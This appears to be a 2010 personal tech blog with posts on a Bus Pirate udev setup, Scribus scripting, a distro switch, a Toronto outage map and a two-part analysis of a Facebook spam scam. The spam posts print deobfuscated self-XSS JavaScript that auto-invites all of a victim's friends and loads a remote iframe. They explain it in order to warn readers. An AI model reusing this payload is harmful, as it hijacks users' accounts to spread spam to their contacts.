Friday, 27 August 2010

I lost my badge!

And by that, I mean I gave it back to my manager. Of course, what I really mean there is that work is over!

I'd say it was an interesting experience. So writing documentation is probably not what I'd want to do for a living, but it was OK for a summer job to pass the time.

It's really a Windows shop there, which wasn't great. On the other hand, I don't have a problem with Office. It's really quite nice, especially if you're trying to script it. Don't even ask how to do any scripting in OpenOffice. Conversely, the ribbon was not amazing. It requires too many clicks to do anything and its layout changing is annoying.

So I didn't really say much. I'm just happy to be done work!

Sunday, 15 August 2010

Got a Bus Pirate!

Update: The ModemManager rule should really only apply to the USB device, not the TTY. I updated the rule below to be a bit more specific.

Around the end of July, I ordered a Bus Pirate from Seeed Studio. It took about a week to ship, which is pretty quick, I think. I picked it up from the post office on Tuesday.

After opening the package and plugging it in, I was greeted with nice blinky lights, and my computer didn't start smoking, so that was a good sign. However, I seemed to run into a bug, where every few lines or so, the display would be screwed up. I started with minicom, until I found out that I could talk to the bus using screen instead. But the output was still not working. Even if I did something simple like press Enter repeatedly, after 5 or so lines, the prompt would show incorrectly. That was kind of disappointing, since Seeed had put a sticker on it for passing QC, so I thought I had a bad cable or set up something wrong.

But today, I finally hit a stroke of luck. One time, upon connecting, I noticed something writing to the port. The text started with AT... and I of course recognized those as modem commands. I remembered a bug report or blog post about ModemManager messing with (things that look like) serial ports.

ModemManager works alongside NetworkManager to provide support for connecting through GSM and CDMA modems. The problem is that a lot of modems suck and ModemManager needs to probe serial ports to see if it's really a modem. Since I'm on a desktop and I probably wouldn't ever use a modem, I could just remove it, but then what would I do on the laptop?

So I set out to find how to blacklist a serial port from ModemManager. I couldn't just get ModemManager to ignore all Bus Pirates, because it identifies itself as a generic FTDI USB-to-serial converter. While I can let Dangerous Prototypes go for that since it's a little hacking board, I'm sure there are actual companies using an FTDI chip who don't identify their modem devices uniquely. Thus, blacklisting the entire FTDI series was out.

All was not lost however, as ModemManager's blacklist basically works through udev. Because USB device numbers are not static, I was already using a udev rule to give me a static device name for the Bus Pirate (from the Arch Linux wiki). After a quick look at the ModemManager blacklist rules, I found that it uses ENV{ID_MM_DEVICE_IGNORE}="1" to signal to ModemManager to ignore a device.

So, to sum it all up, you need to create a udev rule in /etc/udev/rules.d/98-bus-pirate.rules:

SUBSYSTEM=="tty", ATTRS{idVendor}=="0403",\
    ATTRS{idProduct}=="6001", ATTRS{serial}=="...",\
    GROUP="users", MODE="0660", SYMLINK+="buspirate"

ACTION=="add|change", SUBSYSTEM=="usb",\
    ENV{DEVTYPE}=="usb_device", ATTRS{idVendor}=="0403",\
    ATTRS{idProduct}=="6001", ATTRS{serial}=="...",\
    ENV{ID_MM_DEVICE_IGNORE}="1"

Check the Arch wiki for how to get the proper serial number. The first rule sets up a /dev/buspirate device node link so you have a memorable name to use (instead of /dev/ttyUSB#). It also sets permissions so that it's accessible to the users group. Make sure to add your user to that group and you won't need to be root to use the Bus Pirate. The second rule sets a variable on the USB device so that ModemManager doesn't attempt to probe it.

To connect, just use screen. I set up an alias to run screen /dev/buspirate 115200 8N1 and it works great. Now I just need to get something to hack on with it.

Friday, 13 August 2010

Writing Invites with Scribus

So I recently had to create a whole bunch of invites. Not a huge number like a thousand, but more than enough that I didn't want to make each one individually. Anyway, I decided to make them in Scribus. It's semi-professional, and has grade-A output. After the fact, I'd say that it was a pretty good choice, except for a few annoying wrinkles.

The Good

On the good side, Scribus is really stringent about printing issues (though that wasn't as much of a concern this time). It's really good at getting you to use proper fonts. And I really love the ability to use math in any entry field. OK, this doesn't seem like a lot, but overall it's pretty good, and I don't want to go listing out everything!

The Bad

The reason why I say it's only semi-professional is because of these wrinkles. There was one annoying crash, but fortunately, it went away after an upgrade. The real problems are mostly non-intuitiveness, where things don't happen how you'd like. I'm having a hard time remembering them as I think I've grown accustomed to it all. Actually, one thing I remember is that the style editor acts very oddly. If you're editing styles, the style information never stays in sync with the style you have selected. Nine times out of ten (I made that stat up), stuff will be disabled as if you've selected a built-in non-editable style even when you haven't. Oh, and the undo stack is pretty weird. Why does Scribus seem to think I've edited the document when I just saved and Scribus isn't even in focus!

The Ugly

However, out of all things, I think the most disappointing was the scripting API. I mean, automating stuff was one of the things I hoped to do. I did eventually get that done, but it was not fun getting there, and took way too long.

Originally, I planned to create a template, and then write a script which created a Scribus file for each invite. This idea didn't work out at all as the importing broke stuff. That's OK, because then I had the better idea of using a Master Page, with each invite as a separate page. Scribus has the ability to export each page separately, so this worked out well. I could put everything on the Master Page except the small bit with the name which would be different for each page.

The problems really arise from the fact that the scripting API is not well thought-out. It may use Python, but it's not at all Pythonic. It's not even self-consistent. When you change an object's properties, you can specify its name, or work with the mysterious "selection". That selection could be a whole object, or it could be some text within the object. Sometimes, after calling a function, the selection is gone! Exporting to a PDF involves a PDFfile object, while nowhere else is a class used.

Scribus files seem to be XML, but the scripting API does not take any advantage of that. All you get is a handful of top-level functions, and stuff to modify that mysterious selection. It's really too bad, because with a proper object model, I'm sure you could do some really cool stuff.

The End

In the end, I did end up with a script that worked. It was based of the mail-merge script on the Scribus wiki. It didn't do what I originally wanted, but it did get the job done. And of course, the invites did turn out awesome.

But after trying that, going back to VBA in MS Office was a bit of a relief.

Sunday, 8 August 2010

Switching from Gentoo to Fedora

Round about last week, I switched my desktop from Gentoo to Fedora. It took a few days to get everything the way I wanted. But it only took that long because I had lots of data to backup and (selectively) restore, and I only worked in the evenings. Fortunately, a "re-install" is way less painful than Windows, since all you really need to keep is your home directory. I just don't know how Windows users live through it, especially without all their programs in a convenient package manager. I can happily say I have never re-formatted Windows for any reason (and that's not because I don't used it).

I guess there are a few reasons for the switch. I'd say it basically boils down to the following three:

  1. Gentoo wasn't updating fast enough for things I wanted. I can't say whether this is a general trend, but at least for packages I wanted, it was slow, and I could see that Fedora was getting those updates.
  2. My computer is getting older and packages are getting bigger. It's not been too bad (except for god-awful C++ programs that use Boost), but I don't want to work my system so hard as it gets older.
  3. And the most important: I got lazier. Not lazy enough to install Ubuntu though!

I guess I'll see how well Fedora fairs. I've just got an audio bug or two to fix (already reported) and it should be good. Eventually, I should go see if my cx18 works, too.

Saturday, 10 July 2010

Deconstructing Facebook spam, Part 2

This is Part 2 of my look into some Facebook spam. First post is here.

Decyphering the code

I was bored, so I tried to decipher the code. What is this \x69\x6E\x6E\x65... stuff? Well, that's easy. It's the hexadecimal representation of the ASCII code for some letters/symbols. Decoding that isn't too difficult. Placing the JS function "alert();" around the text will pop up the text as the browser sees it (once it's decoded the hex into the actual letters.) Don't try it if you don't know how to quote it properly, though. We end up with something like this:

var _0x4168=["innerHTML","app104746576239621_body","getElementById",...];
var variables=[_0x4168[0],_0x4168[1], ...];
void (document[variables[2]](variables[1])[variables[0]]=variables[3]);
...

So there's the variable _0x4168 that contains an array of strings. The next variable variables is also an array of strings taken from the first. In fact, it's probably redundant. I guess it's to make it more obfuscated. Then there's some real code that references variables.

So let's replace all those variables references with the actual values, and we get something like this.

void (document["getElementById"]("app104746576239621_body")["innerHTML"]="<a id=\"suggest\" href=\"#\" ajaxify=\"/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=137354336277359\" class=\" profile_action actionspro_a\" rel=\"dialog-post\">Suggest to Friends</a>");
var ss=document["getElementById"]("suggest");
var c=document["createEvent"]("MouseEvents");
...

OK, so one last strange thing. What's with this ["text"] stuff? It turns out JS has this funky alternative to accessing class members. You can do it the normal way (object.member) or you can treat the object as a dictionary with the key being a string of the name of the member (object["member"]). So here's how the code finally ends up. I left out some other extras like the voids and provided some indenting.

document.getElementById("app104746576239621_body").innerHTML=
    "<a id=\"suggest\" href=\"#\"
        ajaxify=\"/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=137354336277359\"
        class=\" profile_action actionspro_a\" rel=\"dialog-post\">Suggest to Friends</a>";
var ss=document.getElementById("suggest");
var c=document.createEvent("MouseEvents");
c.initEvent("click",true,true);
ss.dispatchEvent(c);
setTimeout(function (){
    fs.select_all();
}, 4000);
setTimeout(function (){
    SocialGraphManager.submitDialog("sgm_invite_form",
        "/ajax/social_graph/invite_dialog.php");
}, 5000);
document.getElementById("app104746576239621_body").innerHTML=
    "<iframe src=\"http://tinyurl.com/253qebf\"
        style=\"width: 800px; height: 600px;\"
        frameborder=0 scrolling=\"no\"></iframe>";

So what does it do?

We can go through this by each line (or something like a line):

  1. Look for a certain element on the page, and replace its "inner" HTML with a link called "Suggest to Friends!" with an ID of "suggest".
  2. Get the element with the ID of "suggest".
  3. Create a mouse event object.
  4. Initialize that event object for a click.
  5. Dispatch the event. This simulates a click on the previously created link.
  6. Call an anonymous function after 4 seconds. This function calls fs.select_all()
  7. Call another anonymous function after 5 seconds. This function calls SocialGraphManager.submitDialog.
  8. Look for a specific element on the page, and replace it with an iframe of a tinyurl.

So what does it really do?

It should make some sense now. As expected, it's a spammer. The first five steps basically load the "Suggest to Friends" page. It's a bit overly complex, but it gets you there (could have just set document.location to the URI). After four seconds, all your friends are selected, and one second later, the page is submitted, sending the suggestion to all your friends. Finally, it loads an iframe to replace the body section. The TinyURL is gone now, but it was a fake picture of Facebook, with a link that was the so-called second step.

In fact, that second link does go to a marginally legitimate page. It's a Greasemonkey script that periodically checks your friends list and tells you when someone disappears. Now, if you think about it, that really doesn't tell you if someone's blocked you. It tells you if someone removed you from their list. It tells you if someone closed their Facebook account. But it doesn't say anything about being blocked.

The interesting thing is how it gets you. You don't click a weird link, or anything. The user actually has to enter the JS themselves. Now sure, they don't know that, but it's still all them. That's all the more reason to get people a bit more educated when using computers.

Deconstructing Facebook spam

I split this into a couple posts because it's a bit long.

The Pitch

So someone (let's not point any fingers) "suggested" I might like "How to know who blocked me ?", a random Facebook Page. Now, ignoring the bad grammar, I took a look anyway. What we have is this lovely set of instructions:

OK, OK, wait... Those are the instructions? Seriously? Let's point out a few reasons why you probably shouldn't follow those instructions:

  1. Haven't you ever received an e-mail with a link (like an e-card, maybe)? It's always "Click link, or try copying this URL into your browser". Why are these instructions "backwards"?
  2. What kind of crazy jibberish link is that? OK, so to a lot of people, anything on a computer is jibberish, but this one's a whole different level of jibberish.
  3. It starts with "javascript:"!

So you don't know what that last point means? Basically, the part of the URI before the colon defines the protocol the browser uses to communicate with a server (the remote end). "http://" is a regular website, "https://" is a secure website, etc. On the other hand, "javascript:" means "treat the rest of the URI as JavaScript code". So by entering that code, you're really making the browser do who-knows-what. Granted, the instruction did say that it's code, and the step is to "Invite your friends", but why doesn't it use Facebook's standard invite display?

Many questions and oddities means you probably shouldn't do it. But not everyone notices those sorts of things.

Monday, 5 July 2010

About power outages, again

So in case you aren't in Toronto, we had a little bit of a power outage. Downtown, power went out about quarter to 5, though it didn't affect my work's building. But then when we got back home and I was watching Jeopardy!, the power went out in our area too. And it was out for about 1.75 hours, which I think is the longest (local) blackout I've experienced in Canada (barring the day-long one in 2003).

Now I'm sure you remember that previous post about power outages I made. The problem, of course, was that the Hydro One site didn't cover Toronto. Well, things have changed. Toronto Hydro now has a site for power outages.

Of course, there's a different problem now. It's totally broken. Or is it? I could access it with IE7 (which we're stuck with at work), but then it didn't work in Firefox at home. For me, that's basically broken. Had I not tried it at work, I would have dismissed it as useless.

Having peeked at the source of the website, I'm quite unimpressed. "JavaScript" / "javascript"? Capitalized HTML tags? <meta content="MSHTML 6.00.6000.16788" name="GENERATOR" />? Hello, Toronto Hydro? It's 2010. Who writes real websites in MS software? I'm surprised they even managed to get Google Maps there, with the junk they have for the rest of the site.

So apparently, they haven't heard of case-sensitivity (a symptom of living on Windows). The link on the main page uses ALLCAPS, which IE7 will ignore and lowercase, but Firefox doesn't. Then for whatever reason, their horrible JavaScript fails to load the Google Maps API. Sometimes it will pop up an error, but usually it just sits there with a big blank space where the map should be. If you lowercase the URI and go to that in Firefox, then it all loads fine (the link above is already corrected.)

And then you go a little further through the source... and what's this? The map data for outages is inlined in the webpage? That explains why it goes and refreshes the entire page every once in a while. You wouldn't do that with proper AJAX.

Technical reasons aside, is it any good? Well, after seeing the HydroOne site, I wouldn't say so. It'd be nice to see the border of Toronto Hydro's jurisdiction, but that's kind of minor. Really though, it's just a map with some patterns on it, which tells you whether it's a big or small problem, but not much else. It says the "start of the outage", but not when it was fixed, or even if it was fixed. Unlike the HydroOne site, there's no indication whether repair crews have been dispatched, or whether the cause is known. Even better would be an estimate of how long it might be till the problem's fixed, though the HydroOne site doesn't seem to have that either. (I'm a bit jaded from the horrible code.)

Someone needs to go hit them on the head with some real Web 2.0 design, and then maybe think about what someone might want to know when the power goes out.